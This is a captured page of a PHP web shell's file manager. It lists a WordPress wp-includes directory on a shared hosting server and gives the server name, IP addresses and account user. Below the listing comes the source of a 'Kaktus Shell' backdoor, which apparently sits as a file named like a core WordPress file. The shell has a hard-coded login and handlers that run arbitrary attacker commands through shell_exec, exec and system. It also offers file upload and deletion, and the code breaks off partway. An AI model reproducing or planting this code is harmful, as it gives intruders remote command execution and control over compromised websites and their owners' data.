Linux bd28.exonhost.com 6.12.0-211.38.1.el10_2.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 10:16:57 EDT 2026 x86_64
LiteSpeed
Server IP : 103.159.36.218 & Your IP : 216.73.217.146
Domains :
Cant Read [ /etc/named.conf ]
User : absolut2
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
absolut2 /
.trash /
wp-includes.1 /
Delete
Unzip
Name
Size
Permission
Date
Action
ID3
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
IXR
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
PHPMailer
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
Requests
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
SimplePie
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
Text
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
abilities-api
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
ai-client
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
assets
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
block-bindings
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
block-patterns
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
block-supports
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
blocks
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
build
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
certificates
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
css
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
customize
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
fonts
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
html-api
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
images
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
interactivity-api
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
js
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
l10n
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
php-ai-client
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
php-compat
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
pomo
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
rest-api
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
sitemaps
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
sodium_compat
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
style-engine
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
theme-compat
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
widgets
[ DIR ]
drwxr-xr-x
2026-08-29 09:33
.htaccess
137
B
-rw-r--r--
2020-03-26 07:14
abilities-api.php
32.03
KB
-rw-r--r--
2026-08-20 20:48
abilities.php
11.52
KB
-rw-r--r--
2026-08-20 20:48
admin-bar.php
39.13
KB
-rw-r--r--
2026-09-05 03:52
ai-client.php
2.49
KB
-rw-r--r--
2026-08-12 20:47
atomlib.php
11.9
KB
-rw-r--r--
2025-09-03 06:18
author-template.php
19.38
KB
-rw-r--r--
2026-08-12 20:47
block-bindings.php
7.45
KB
-rw-r--r--
2026-08-20 20:48
block-editor.php
28.05
KB
-rw-r--r--
2026-08-12 20:47
block-i18n.json
316
B
-rw-r--r--
2021-08-11 03:08
block-patterns.php
15.24
KB
-rw-r--r--
2026-08-12 20:47
block-template-utils.php
61.69
KB
-rw-r--r--
2026-08-20 20:48
block-template.php
17.83
KB
-rw-r--r--
2026-08-20 20:48
blocks.php
121.29
KB
-rw-r--r--
2026-08-20 20:48
bookmark-template.php
12.47
KB
-rw-r--r--
2025-03-19 17:15
bookmark.php
15.07
KB
-rw-r--r--
2024-03-23 08:20
cache-compat.php
10.76
KB
-rw-r--r--
2026-08-12 20:47
cache.php
13.17
KB
-rw-r--r--
2025-04-29 16:44
canonical.php
33.97
KB
-rw-r--r--
2026-08-20 20:48
capabilities.php
42.56
KB
-rw-r--r--
2026-08-20 20:48
category-template.php
55.65
KB
-rw-r--r--
2026-08-20 20:48
category.php
12.53
KB
-rw-r--r--
2026-09-05 03:52
class-IXR.php
2.55
KB
-rw-r--r--
2026-08-20 20:48
class-avif-info.php
29.3
KB
-rw-r--r--
2026-08-12 20:47
class-feed.php
539
B
-rw-r--r--
2024-09-30 16:50
class-http.php
367
B
-rw-r--r--
2022-06-17 05:20
class-json.php
42.65
KB
-rw-r--r--
2025-08-25 07:10
class-oembed.php
401
B
-rw-r--r--
2022-06-17 05:20
class-phpass.php
6.61
KB
-rw-r--r--
2024-09-17 15:08
class-phpmailer.php
664
B
-rw-r--r--
2020-07-21 06:58
class-pop3.php
20.61
KB
-rw-r--r--
2026-08-20 20:48
class-requests.php
2.18
KB
-rw-r--r--
2023-04-05 07:12
class-simplepie.php
453
B
-rw-r--r--
2024-09-30 16:50
class-smtp.php
457
B
-rw-r--r--
2021-01-26 07:45
class-snoopy.php
36.83
KB
-rw-r--r--
2023-02-03 07:35
class-walker-category-dropdown.php
2.41
KB
-rw-r--r--
2023-09-14 06:46
class-walker-category.php
8.28
KB
-rw-r--r--
2023-09-08 03:32
class-walker-comment.php
13.89
KB
-rw-r--r--
2024-03-18 09:46
class-walker-nav-menu.php
11.76
KB
-rw-r--r--
2025-01-21 15:26
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
2023-09-14 06:46
class-walker-page.php
7.43
KB
-rw-r--r--
2023-09-14 06:46
class-wp-admin-bar.php
17.58
KB
-rw-r--r--
2026-08-20 20:48
class-wp-ajax-response.php
5.16
KB
-rw-r--r--
2026-08-20 20:48
class-wp-application-passwords.php
16.7
KB
-rw-r--r--
2025-04-03 07:53
class-wp-block-bindings-registry.php
8.07
KB
-rw-r--r--
2026-08-12 20:47
class-wp-block-bindings-source.php
2.92
KB
-rw-r--r--
2025-09-28 15:56
class-wp-block-editor-context.php
1.32
KB
-rw-r--r--
2022-09-12 09:47
class-wp-block-list.php
4.6
KB
-rw-r--r--
2025-08-07 08:47
class-wp-block-metadata-registry.php
11.57
KB
-rw-r--r--
2026-08-12 20:47
class-wp-block-parser-block.php
2.5
KB
-rw-r--r--
2025-10-21 01:14
class-wp-block-parser-frame.php
1.95
KB
-rw-r--r--
2026-08-12 20:47
class-wp-block-parser.php
11.25
KB
-rw-r--r--
2026-08-20 20:48
class-wp-block-pattern-categories-registry.php
4.28
KB
-rw-r--r--
2026-08-12 20:47
class-wp-block-patterns-registry.php
10.02
KB
-rw-r--r--
2026-08-20 20:48
class-wp-block-processor.php
68.28
KB
-rw-r--r--
2026-08-20 20:48
class-wp-block-styles-registry.php
6.27
KB
-rw-r--r--
2026-08-12 20:47
class-wp-block-supports.php
7.4
KB
-rw-r--r--
2026-08-20 20:48
class-wp-block-template.php
2.06
KB
-rw-r--r--
2026-08-20 20:48
class-wp-block-templates-registry.php
6.91
KB
-rw-r--r--
2026-08-12 20:47
class-wp-block-type-registry.php
5.18
KB
-rw-r--r--
2026-08-20 20:48
class-wp-block-type.php
16.82
KB
-rw-r--r--
2026-08-20 20:48
class-wp-block.php
27.57
KB
-rw-r--r--
2026-08-20 20:48
class-wp-classic-to-block-menu-converter.php
3.93
KB
-rw-r--r--
2026-08-12 20:47
class-wp-comment-query.php
47.89
KB
-rw-r--r--
2026-08-20 20:48
class-wp-comment.php
16.84
KB
-rw-r--r--
2026-08-20 20:48
class-wp-connector-registry.php
14.83
KB
-rw-r--r--
2026-08-20 20:48
class-wp-customize-control.php
25.5
KB
-rw-r--r--
2026-08-20 20:48
class-wp-customize-manager.php
198.15
KB
-rw-r--r--
2026-08-20 20:48
class-wp-customize-nav-menus.php
56.67
KB
-rw-r--r--
2026-08-20 20:48
class-wp-customize-panel.php
10.45
KB
-rw-r--r--
2026-08-20 20:48
class-wp-customize-section.php
10.95
KB
-rw-r--r--
2024-10-13 13:09
class-wp-customize-setting.php
29.25
KB
-rw-r--r--
2026-08-20 20:48
class-wp-customize-widgets.php
70.89
KB
-rw-r--r--
2026-08-20 20:48
class-wp-date-query.php
35.13
KB
-rw-r--r--
2026-08-12 20:47
class-wp-dependencies.php
16.69
KB
-rw-r--r--
2026-08-12 20:47
class-wp-dependency.php
2.59
KB
-rw-r--r--
2026-08-12 20:47
class-wp-duotone.php
39.88
KB
-rw-r--r--
2026-08-20 20:48
class-wp-editor.php
70.54
KB
-rw-r--r--
2026-08-20 20:48
class-wp-embed.php
15.54
KB
-rw-r--r--
2026-08-12 20:47
class-wp-error.php
7.34
KB
-rw-r--r--
2026-08-20 20:48
class-wp-exception.php
253
B
-rw-r--r--
2024-09-27 13:28
class-wp-fatal-error-handler.php
7.96
KB
-rw-r--r--
2024-10-22 04:16
class-wp-feed-cache-transient.php
3.23
KB
-rw-r--r--
2025-07-30 17:03
class-wp-feed-cache.php
969
B
-rw-r--r--
2024-09-30 16:50
class-wp-filter-sentinel.php
760
B
-rw-r--r--
2026-08-20 20:48
class-wp-hook.php
17.06
KB
-rw-r--r--
2026-08-20 20:48
class-wp-http-cookie.php
7.1
KB
-rw-r--r--
2026-08-12 20:47
class-wp-http-curl.php
12.95
KB
-rw-r--r--
2025-09-03 06:18
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
2023-06-22 08:57
class-wp-http-ixr-client.php
3.43
KB
-rw-r--r--
2026-08-12 20:47
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
2023-06-22 08:36
class-wp-http-requests-hooks.php
1.97
KB
-rw-r--r--
2022-12-15 15:32
class-wp-http-requests-response.php
4.14
KB
-rw-r--r--
2026-08-12 20:47
class-wp-http-response.php
2.91
KB
-rw-r--r--
2022-09-12 09:47
class-wp-http-streams.php
16.37
KB
-rw-r--r--
2026-08-12 20:47
class-wp-http.php
40.67
KB
-rw-r--r--
2026-08-20 20:48
class-wp-icon-collections-registry.php
5.67
KB
-rw-r--r--
2026-08-20 20:48
class-wp-icons-registry.php
9.67
KB
-rw-r--r--
2026-08-20 20:48
class-wp-image-editor-gd.php
20.25
KB
-rw-r--r--
2026-08-20 20:48
class-wp-image-editor-imagick.php
42.44
KB
-rw-r--r--
2026-08-20 20:48
class-wp-image-editor.php
17.05
KB
-rw-r--r--
2026-08-20 20:48
class-wp-list-util.php
7.27
KB
-rw-r--r--
2024-02-27 16:38
class-wp-locale-switcher.php
6.62
KB
-rw-r--r--
2025-05-11 11:16
class-wp-locale.php
16.45
KB
-rw-r--r--
2026-08-12 20:47
class-wp-matchesmapregex.php
1.79
KB
-rw-r--r--
2024-02-05 19:25
class-wp-meta-query.php
29.79
KB
-rw-r--r--
2026-08-12 20:47
class-wp-metadata-lazyloader.php
6.67
KB
-rw-r--r--
2025-10-21 09:59
class-wp-navigation-fallback.php
8.98
KB
-rw-r--r--
2025-06-18 14:39
class-wp-network-query.php
19.52
KB
-rw-r--r--
2026-08-20 20:48
class-wp-network.php
12.12
KB
-rw-r--r--
2026-08-20 20:48
class-wp-object-cache.php
17.11
KB
-rw-r--r--
2025-04-04 16:00
class-wp-oembed-controller.php
6.74
KB
-rw-r--r--
2024-03-05 23:05
class-wp-oembed.php
33.57
KB
-rw-r--r--
2026-08-20 20:48
class-wp-paused-extensions-storage.php
4.95
KB
-rw-r--r--
2026-08-12 20:47
class-wp-phpmailer.php
4.25
KB
-rw-r--r--
2025-10-01 07:23
class-wp-plugin-dependencies.php
24.62
KB
-rw-r--r--
2026-08-20 20:48
class-wp-post-type.php
29.95
KB
-rw-r--r--
2026-08-12 20:47
class-wp-post.php
8.6
KB
-rw-r--r--
2026-08-20 20:48
class-wp-query.php
160.3
KB
-rw-r--r--
2026-08-20 20:48
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rw-r--r--
2022-10-03 21:59
class-wp-recovery-mode-email-service.php
10.9
KB
-rw-r--r--
2026-08-20 20:48
class-wp-recovery-mode-key-service.php
4.8
KB
-rw-r--r--
2026-08-12 20:47
class-wp-recovery-mode-link-service.php
3.44
KB
-rw-r--r--
2026-08-12 20:47
class-wp-recovery-mode.php
11.19
KB
-rw-r--r--
2026-08-20 20:48
class-wp-rewrite.php
62.2
KB
-rw-r--r--
2026-08-12 20:47
class-wp-role.php
2.46
KB
-rw-r--r--
2023-09-08 03:32
class-wp-roles.php
9.11
KB
-rw-r--r--
2026-08-20 20:48
class-wp-script-modules.php
39.79
KB
-rw-r--r--
2026-08-12 20:47
class-wp-scripts.php
35.89
KB
-rw-r--r--
2026-08-20 20:48
class-wp-session-tokens.php
7.15
KB
-rw-r--r--
2025-02-11 05:14
class-wp-simplepie-file.php
3.47
KB
-rw-r--r--
2025-09-16 16:47
class-wp-simplepie-sanitize-kses.php
1.86
KB
-rw-r--r--
2026-08-20 20:48
class-wp-site-query.php
30.74
KB
-rw-r--r--
2026-08-12 20:47
class-wp-site.php
7.65
KB
-rw-r--r--
2026-08-20 20:48
class-wp-speculation-rules.php
7.7
KB
-rw-r--r--
2026-08-20 20:48
class-wp-styles.php
13
KB
-rw-r--r--
2026-08-20 20:48
class-wp-tax-query.php
19.12
KB
-rw-r--r--
2025-06-16 11:08
class-wp-taxonomy.php
18.12
KB
-rw-r--r--
2025-03-26 15:42
class-wp-term-query.php
39.8
KB
-rw-r--r--
2026-08-12 20:47
class-wp-term.php
5.14
KB
-rw-r--r--
2026-08-12 20:47
class-wp-text-diff-renderer-inline.php
979
B
-rw-r--r--
2024-02-14 13:27
class-wp-text-diff-renderer-table.php
18.48
KB
-rw-r--r--
2026-08-20 20:48
class-wp-textdomain-registry.php
10.24
KB
-rw-r--r--
2024-11-19 20:50
class-wp-theme-json-data.php
1.76
KB
-rw-r--r--
2026-08-20 20:48
class-wp-theme-json-resolver.php
34.86
KB
-rw-r--r--
2026-08-12 20:47
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
2024-06-06 02:02
class-wp-theme-json.php
216.31
KB
-rw-r--r--
2026-08-20 20:48
class-wp-theme.php
64.27
KB
-rw-r--r--
2026-08-20 20:48
class-wp-token-map.php
28.35
KB
-rw-r--r--
2026-08-20 20:48
class-wp-url-pattern-prefixer.php
4.69
KB
-rw-r--r--
2025-02-18 16:32
class-wp-user-meta-session-tokens.php
2.88
KB
-rw-r--r--
2026-08-12 20:47
class-wp-user-query.php
43.07
KB
-rw-r--r--
2026-08-12 20:47
class-wp-user-request.php
2.29
KB
-rw-r--r--
2026-08-20 20:48
class-wp-user.php
22.65
KB
-rw-r--r--
2026-08-20 20:48
class-wp-view-config-data.php
28.74
KB
-rw-r--r--
2026-08-20 20:48
class-wp-walker.php
12.98
KB
-rw-r--r--
2026-08-20 20:48
class-wp-widget-factory.php
3.26
KB
-rw-r--r--
2026-08-20 20:48
class-wp-widget.php
18.02
KB
-rw-r--r--
2026-08-20 20:48
class-wp-xmlrpc-server.php
211.2
KB
-rw-r--r--
2026-08-20 20:48
class-wp.php
25.75
KB
-rw-r--r--
2026-08-12 20:47
class-wpdb.php
118.59
KB
-rw-r--r--
2026-08-20 20:48
class.wp-dependencies.php
373
B
-rw-r--r--
2022-09-20 08:17
class.wp-scripts.php
343
B
-rw-r--r--
2022-09-20 08:17
class.wp-styles.php
338
B
-rw-r--r--
2022-09-20 08:17
comment-template.php
100.79
KB
-rw-r--r--
2026-08-12 20:47
comment.php
147.1
KB
-rw-r--r--
2026-09-05 03:52
compat-utf8.php
18.93
KB
-rw-r--r--
2026-08-20 20:48
compat.php
21.95
KB
-rw-r--r--
2026-09-05 03:52
connectors.php
32.15
KB
-rw-r--r--
2026-08-20 20:48
cron.php
45.18
KB
-r--r--r--
2026-09-05 03:52
date.php
400
B
-rw-r--r--
2022-06-17 05:20
default-constants.php
11.1
KB
-rw-r--r--
2024-09-30 17:58
default-filters.php
38.57
KB
-rw-r--r--
2026-08-20 20:48
default-widgets.php
2.23
KB
-rw-r--r--
2026-08-20 20:48
deprecated.php
189.43
KB
-rw-r--r--
2026-08-12 20:47
embed-template.php
338
B
-rw-r--r--
2022-06-17 05:20
embed.php
38.3
KB
-rw-r--r--
2026-08-20 20:48
error-protection.php
4
KB
-rw-r--r--
2026-08-12 20:47
error_log
3.43
KB
-rw-r--r--
2026-08-18 20:56
feed-atom-comments.php
5.38
KB
-rw-r--r--
2024-03-04 06:41
feed-atom.php
3.04
KB
-rw-r--r--
2026-08-20 20:48
feed-rdf.php
2.61
KB
-rw-r--r--
2020-01-28 18:45
feed-rss.php
1.16
KB
-rw-r--r--
2020-01-28 18:45
feed-rss2-comments.php
4.04
KB
-rw-r--r--
2024-03-04 06:41
feed-rss2.php
3.71
KB
-rw-r--r--
2020-01-28 18:45
feed.php
24.6
KB
-rw-r--r--
2026-09-05 03:52
fonts.php
9.56
KB
-rw-r--r--
2026-09-05 03:52
formatting.php
349.27
KB
-rw-r--r--
2026-09-05 03:52
functions.php
288.56
KB
-r--r--r--
2026-09-05 03:52
functions.wp-scripts.php
20.01
KB
-rw-r--r--
2026-08-12 20:47
functions.wp-styles.php
8.45
KB
-rw-r--r--
2026-08-12 20:47
general-template.php
179.17
KB
-rw-r--r--
2026-09-05 03:52
global-styles-and-settings.php
20.29
KB
-rw-r--r--
2026-08-12 20:47
http.php
28.28
KB
-rw-r--r--
2026-09-05 03:52
https-detection.php
5.72
KB
-rw-r--r--
2025-02-24 07:43
https-migration.php
4.63
KB
-rw-r--r--
2023-07-10 16:38
icons.php
6.19
KB
-rw-r--r--
2026-08-20 20:48
json-schema.php
7.62
KB
-rw-r--r--
2026-08-20 20:48
kses.php
86.42
KB
-rw-r--r--
2026-08-20 20:48
l10n.php
69.74
KB
-rw-r--r--
2026-09-05 03:52
link-template.php
156.39
KB
-rw-r--r--
2026-08-20 20:48
load.php
55.96
KB
-rw-r--r--
2026-09-05 03:52
locale.php
162
B
-rw-r--r--
2019-10-08 11:19
media-template.php
64.22
KB
-rw-r--r--
2026-08-20 20:48
media.php
231.25
KB
-rw-r--r--
2026-09-05 03:52
meta.php
65.17
KB
-rw-r--r--
2026-08-12 20:47
ms-blogs.php
25.71
KB
-rw-r--r--
2026-08-20 20:48
ms-default-constants.php
4.81
KB
-rw-r--r--
2024-06-13 14:50
ms-default-filters.php
6.48
KB
-rw-r--r--
2023-02-23 19:23
ms-deprecated.php
21.28
KB
-rw-r--r--
2026-08-20 20:48
ms-files.php
2.79
KB
-rw-r--r--
2025-10-17 11:14
ms-functions.php
90.36
KB
-rw-r--r--
2026-08-20 20:48
ms-load.php
19.58
KB
-rw-r--r--
2026-08-20 20:48
ms-network.php
3.69
KB
-rw-r--r--
2023-05-02 05:26
ms-settings.php
4.1
KB
-rw-r--r--
2026-08-20 20:48
ms-site.php
40.75
KB
-rw-r--r--
2026-08-12 20:47
nav-menu-template.php
25.37
KB
-rw-r--r--
2026-08-20 20:48
nav-menu.php
43.23
KB
-rw-r--r--
2026-09-05 03:52
option.php
102.78
KB
-rw-r--r--
2026-08-20 20:48
pluggable-deprecated.php
6.18
KB
-rw-r--r--
2025-02-03 13:52
pluggable.php
124.92
KB
-rw-r--r--
2026-09-05 03:52
plugin.php
35.81
KB
-r--r--r--
2026-09-05 03:52
post-formats.php
6.9
KB
-rw-r--r--
2026-08-12 20:47
post-template.php
67.51
KB
-rw-r--r--
2026-08-20 20:48
post-thumbnail-template.php
10.62
KB
-rw-r--r--
2024-12-20 17:35
post.php
298.06
KB
-rw-r--r--
2026-09-05 03:52
query.php
36.67
KB
-rw-r--r--
2026-09-05 03:52
registration-functions.php
200
B
-rw-r--r--
2020-11-12 05:17
registration.php
200
B
-rw-r--r--
2020-11-12 05:17
rest-api.php
100.54
KB
-rw-r--r--
2026-09-05 03:52
revision.php
30.51
KB
-rw-r--r--
2026-09-05 03:52
rewrite.php
19.11
KB
-rw-r--r--
2026-08-20 20:48
robots-template.php
5.06
KB
-rw-r--r--
2022-04-06 09:33
rss-functions.php
277
B
-rw-r--r--
2026-08-20 20:48
rss.php
22.66
KB
-rw-r--r--
2025-09-03 06:18
script-loader.php
159.72
KB
-rw-r--r--
2026-08-20 20:48
script-modules.php
12.02
KB
-rw-r--r--
2026-08-20 20:48
session.php
258
B
-rw-r--r--
2020-02-06 00:33
shortcodes.php
23.47
KB
-rw-r--r--
2026-08-12 20:47
sitemaps.php
3.16
KB
-rw-r--r--
2026-09-05 03:52
speculative-loading.php
11.6
KB
-rw-r--r--
2026-08-20 20:48
spl-autoload-compat.php
441
B
-rw-r--r--
2020-11-12 05:17
style-engine.php
7.86
KB
-rw-r--r--
2026-09-05 03:52
taxonomy.php
174.13
KB
-rw-r--r--
2026-09-05 03:52
template-canvas.php
544
B
-rw-r--r--
2023-09-30 18:22
template-loader.php
4.17
KB
-r--r--r--
2026-09-05 03:52
template.php
35.96
KB
-rw-r--r--
2026-08-12 20:47
theme-i18n.json
1.85
KB
-rw-r--r--
2026-08-12 20:47
theme-previews.php
2.82
KB
-rw-r--r--
2026-08-12 20:47
theme-templates.php
3.96
KB
-rw-r--r--
2026-08-12 20:47
theme.json
9.26
KB
-rw-r--r--
2026-08-20 20:48
theme.php
131.49
KB
-rw-r--r--
2026-09-05 03:52
update.php
37.37
KB
-rw-r--r--
2026-09-05 03:52
user.php
176.08
KB
-rw-r--r--
2026-09-05 03:52
utf8.php
6.81
KB
-rw-r--r--
2026-08-20 20:48
vars.php
6.45
KB
-rw-r--r--
2026-09-05 03:52
version.php
1.08
KB
-rw-r--r--
2026-09-05 03:52
view-config.php
18.64
KB
-rw-r--r--
2026-08-20 20:48
view-transitions.php
602
B
-rw-r--r--
2026-08-12 20:47
widgets.php
69.21
KB
-rw-r--r--
2026-09-05 03:52
wp-db.php
445
B
-rw-r--r--
2022-07-21 16:45
wp-diff.php
792
B
-rw-r--r--
2026-08-20 20:48
wp-links-opmI.php
20.95
KB
-rw-r--r--
2026-08-24 17:00
Save
Rename
<?php /** * Kaktus Shell - Blue Advanced Shell & File Manager (single file) * FIXED: Terminal AJAX now works reliably. */ // Suppress all warnings/errors in AJAX mode to keep JSON clean if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') { error_reporting(0); ini_set('display_errors', 0); } if (!function_exists('is_fn_usable')) { function is_fn_usable($fn) { if (!function_exists($fn)) return false; $disabled = (string) @ini_get('disable_functions'); $suhosin = (string) @ini_get('suhosin.executor.func.blacklist'); $blocked = array(); if ($disabled !== '') $blocked = array_merge($blocked, array_map('trim', explode(',', $disabled))); if ($suhosin !== '') $blocked = array_merge($blocked, array_map('trim', explode(',', $suhosin))); if (!empty($blocked)) { $blocked = array_filter(array_map('strtolower', $blocked)); if (in_array(strtolower($fn), $blocked, true)) return false; } return true; } } date_default_timezone_set(@date_default_timezone_get() ? @date_default_timezone_get() : 'UTC'); session_start(); if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(biru_random_bytes(16)); } /* ---------- Security Headers ---------- */ header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet, noimageindex', true); header('Referrer-Policy: no-referrer'); header('X-Frame-Options: SAMEORIGIN'); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('X-Content-Type-Options: nosniff'); /* ---------- Auth ---------- */ define('AUTH_USER', 'admin'); define('AUTH_PASS_HASH', '$2a$12$BBaLHa.cGOJZR9697oj3auaNFtGk04W6vbsr8mqV9cwprwoPZM4SW'); // pass : n0t /* ---------- Utility & Polyfills ---------- */ function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); } if (!function_exists('je')) { function je($v) { if (function_exists('json_encode')) return json_encode($v); if (is_bool($v)) return $v ? 'true' : 'false'; if (is_numeric($v)) return (string)$v; if ($v === null) return 'null'; if (is_array($v) || is_object($v)) { $parts = array(); $is_list = (is_array($v) && array_keys($v) === range(0, count($v) - 1)); foreach ($v as $key => $val) { $parts[] = $is_list ? je($val) : '"'.h($key).'":'.je($val); } return $is_list ? '['.implode(',', $parts).']' : '{'.implode(',', $parts).'}'; } return '"'.str_replace(array("\\","\"","\r","\n"), array("\\\\","\\\"","\\r","\\n"), (string)$v).'"'; } } function biru_random_bytes($len){ if (is_fn_usable('random_bytes')) return random_bytes($len); $out = ''; for ($i = 0; $i < $len; $i++) $out .= chr(mt_rand(0, 255)); return $out; } function humanSize($b){ $u = array('B','KB','MB','GB','TB'); $i = 0; while ($b >= 1024 && $i < count($u)-1){ $b/=1024; $i++; } return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i]; } function permsToString($f){ $p = @fileperms($f); if ($p === false) return '??????????'; $t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-'); $s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-'); $s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-'); $s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); return $t.$s; } function isTextFile($p){ if (is_dir($p)) return false; $ext = strtolower(pathinfo((string)$p, PATHINFO_EXTENSION)); $allowed = array('txt','md','json','js','css','php','html','ini','xml','sql','env','py','sh'); return in_array($ext, $allowed, true); } function safeJoin($base,$child){ $child = str_replace(array("\0", ".."), '', $child); return rtrim($base, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child; } function listDirEntries($dir){ $h = @opendir($dir); if ($h===false) return array(); $items=array(); while(false!==($e=readdir($h))){ $items[]=$e; } closedir($h); return $items; } function rrmdir($p){ if (is_file($p) || is_link($p)) return @unlink($p); $h = @opendir($p); if(!$h) return false; while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; rrmdir(safeJoin($p,$v)); } closedir($h); return @rmdir($p); } function tryWriteFromTmp($tmp,$dest){ if(@move_uploaded_file($tmp,$dest) || @rename($tmp,$dest) || @copy($tmp,$dest)) return array(true, null); return array(false, "Write failed"); } function extractArchive($archivePath, $destPath) { if (class_exists('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($archivePath) === TRUE) { $zip->extractTo($destPath); $zip->close(); @unlink($archivePath); return array(true, "Zip extracted"); } } return array(false, "Extractor not available"); } function breadcrumbs($path){ $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_values(array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen')); $out = array(); $acc = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR; if (DIRECTORY_SEPARATOR === '\\' && preg_match('~^[A-Z]:~i', $path)) { $drive = substr($path, 0, 2); $acc = $drive.'\\'; $out[] = array($drive, $acc); } else { $out[] = array('root', DIRECTORY_SEPARATOR); } foreach($parts as $p){ if (preg_match('~^[A-Z]:$~i', $p)) continue; $acc = rtrim($acc, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $p; $out[] = array($p, $acc); } return $out; } function ensureCsrf(){ if($_SERVER['REQUEST_METHOD']==='POST'){ if (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) { http_response_code(403); exit("CSRF Invalid"); } } } /* ---------- ACTIONS: AJAX Terminal Handler (must come before any output) ---------- */ if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') { header('Content-Type: application/json'); // Clear any previous output buffers while (ob_get_level()) ob_end_clean(); $response = array('error' => 'Unknown error'); if (!isset($_SESSION['auth'])) { $response = array('error' => 'Unauthorized'); } elseif ($_SERVER['REQUEST_METHOD'] !== 'POST') { $response = array('error' => 'Invalid request method'); } elseif (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) { $response = array('error' => 'CSRF token mismatch'); } elseif (!isset($_POST['cmd'])) { $response = array('error' => 'No command provided'); } else { $cmd = $_POST['cmd']; $output = ''; // Try shell_exec first if (function_exists('shell_exec')) { $output = @shell_exec($cmd . ' 2>&1'); if ($output === null) $output = ''; } // Fallback to exec elseif (function_exists('exec')) { exec($cmd . ' 2>&1', $output_lines, $ret); $output = implode("\n", $output_lines); } // Fallback to system elseif (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); $output = ob_get_clean(); } else { $output = 'ERROR: No command execution function available (shell_exec, exec, system all disabled)'; } $response = array('output' => (string)$output); } echo json_encode($response); exit; } /* ---------- Normal (non-AJAX) request handling ---------- */ if (!isset($_SESSION['auth'])) { if (isset($_GET['a']) && $_GET['a'] === 'login' && isset($_POST['user'])) { if ($_POST['user'] === AUTH_USER && password_verify($_POST['pass'], AUTH_PASS_HASH)) { $_SESSION['auth'] = true; header("Location: ?"); exit; } } // Render Login Page echo '<body style="background:#0b1220;color:#fff;display:flex;height:100vh;align-items:center;justify-content:center;font-family:sans-serif;"><form method="POST" action="?a=login" style="background:#111827;padding:2rem;border-radius:12px;border:1px solid #374151;"><h3>kaktus LOGIN</h3><input name="user" placeholder="User" style="display:block;margin-bottom:10px;padding:8px;width:200px;"><input name="pass" type="password" placeholder="Pass" style="display:block;margin-bottom:10px;padding:8px;width:200px;"><button type="submit" style="width:100%;padding:8px;background:#3b82f6;color:#fff;border:none;border-radius:4px;cursor:pointer;">Login</button></form></body>'; exit; } $initial_script_dir = realpath(getcwd()); $requested_path = isset($_GET['d']) ? (string)$_GET['d'] : ''; $current_path = (realpath($requested_path) && is_dir(realpath($requested_path))) ? realpath($requested_path) : $initial_script_dir; $msg = ''; $cmd_out = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { ensureCsrf(); $a = isset($_GET['a']) ? $_GET['a'] : ''; if (isset($_POST['cmd'])) { $cmd = $_POST['cmd'] . ' 2>&1'; $cmd_out = h(shell_exec($cmd)); } if ($a === 'upload' && isset($_FILES['file'])) { $dest 